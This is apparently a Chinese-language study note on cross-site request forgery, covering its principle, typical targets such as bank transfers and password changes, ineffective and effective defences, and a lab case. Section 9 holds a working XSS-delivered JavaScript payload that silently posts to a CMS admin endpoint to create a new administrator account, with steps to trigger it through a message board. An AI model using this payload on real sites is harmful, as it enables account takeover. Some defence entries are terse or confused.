1.漏洞描述
跨站请求伪造是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作,攻击的重点在处于更改状态请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。
2.漏洞原理
攻击者可以伪造当前已经登录用户的身份访问正常的网站,执行非本意的操作。正常的网站,没有对来源请求进行严格的验证和过滤,导致攻击者可以伪造正常用户的请求,达到攻击的目的。
3.漏洞场景
在特殊场景下,客户端向服务器发起更改状态的请求,容易产生CSRF漏洞。
常见场景:
- 银行转账
- 修改密码
4.漏洞评级
⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐ 高危
5.漏洞危害
攻击者借用正常用户的身份,发起更改状态的请求,如:
- 银行转账
- 修改密码
- 修改邮箱
- 群发消息
- 与XSS漏洞结合创建网站后台管理员账号
- ...
6.漏洞验证
7.漏洞利用
- DVWA重置当前用户密码
- CMS创建新管理员
8.漏洞防御
1)无效的防御:
- 使用密码的Cookie。
- 将接受POST请求。
- 多步交易:多步交易,有可能会被恶意攻击者预测
- URL重写:用户的身份信息会暴露在URL中,不建议通过引用另一个漏洞解决当前漏洞
- HTTPS:所以安全机制的前提。
2)有效的防御:
a.
验证Referer字段
- 当前URL的上一个URL。
- 转账页面到转账操作
- 伪造?
b.
二次验证:在关键操作之前,在输入密码或者验证码。
c.
添加Token 验证:
d.
HttpOnly:某些情况下禁止 JS 脚本访问
e.
SameSite:Cookie 属性,浏览器自带安全机制。
9.典型案例
1)CMS创建新用户
方法:攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:
代码:
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.47.44/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
xmlhttp.send("act=add&username=wj33333&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
前提:
我们发现CSM网站留言板存在xss漏洞
a.第一步:
- 填写留言板并提交。
b.第二步:
- 模仿管理员管理留言板。
- 管理员登录账号
- 查看留言板
到这里就已经完成了添加用户。
- 查看管理员账号,发现是我们添加的账号
- 登录